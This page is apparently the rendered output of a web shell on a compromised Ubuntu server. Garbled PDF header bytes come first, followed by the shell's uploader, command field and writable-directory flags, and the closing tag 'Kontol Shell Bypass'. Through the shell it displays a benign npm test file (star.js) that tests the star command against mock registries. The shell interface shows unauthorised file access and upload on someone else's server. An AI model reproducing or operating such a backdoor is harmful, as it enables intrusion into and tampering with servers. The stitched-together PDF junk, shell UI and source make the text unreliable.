%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /proc/thread-self/root/home/ubuntu/node-v16.18.1/deps/npm/test/lib/commands/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //proc/thread-self/root/home/ubuntu/node-v16.18.1/deps/npm/test/lib/commands/star.js
const t = require('tap')
const { load: loadMockNpm } = require('../../fixtures/mock-npm.js')
const MockRegistry = require('../../fixtures/mock-registry.js')

const pkgName = '@npmcli/test-package'
const authToken = 'test-auth-token'
const username = 'test-user'
const auth = { '//registry.npmjs.org/:_authToken': authToken }

t.test('no args', async t => {
  const { npm } = await loadMockNpm(t)
  await t.rejects(
    npm.exec('star', []),
    { code: 'EUSAGE' },
    'should throw usage error'
  )
})

t.test('first person to star a package unicode:false', async t => {
  const { npm, joinedOutput } = await loadMockNpm(t, {
    config: { unicode: false, ...auth },
  })
  const registry = new MockRegistry({
    tap: t,
    registry: npm.config.get('registry'),
    authorization: authToken,
  })
  const manifest = registry.manifest({ name: pkgName })
  await registry.package({ manifest, query: { write: true } })
  registry.whoami({ username })
  registry.star(manifest, { [username]: true })

  await npm.exec('star', [pkgName])
  t.equal(
    joinedOutput(),
    '(*) @npmcli/test-package',
    'should output starred package msg'
  )
})

t.test('second person to star a package unicode:true', async t => {
  const { npm, joinedOutput } = await loadMockNpm(t, {
    config: { unicode: true, ...auth },
  })
  const registry = new MockRegistry({
    tap: t,
    registry: npm.config.get('registry'),
    authorization: authToken,
  })
  const manifest = registry.manifest({ name: pkgName, users: { otheruser: true } })
  await registry.package({ manifest, query: { write: true } })
  registry.whoami({ username })
  registry.star(manifest, { otheruser: true, [username]: true })

  await npm.exec('star', [pkgName])
  t.equal(
    joinedOutput(),
    '★  @npmcli/test-package',
    'should output starred package msg'
  )
})

Kontol Shell Bypass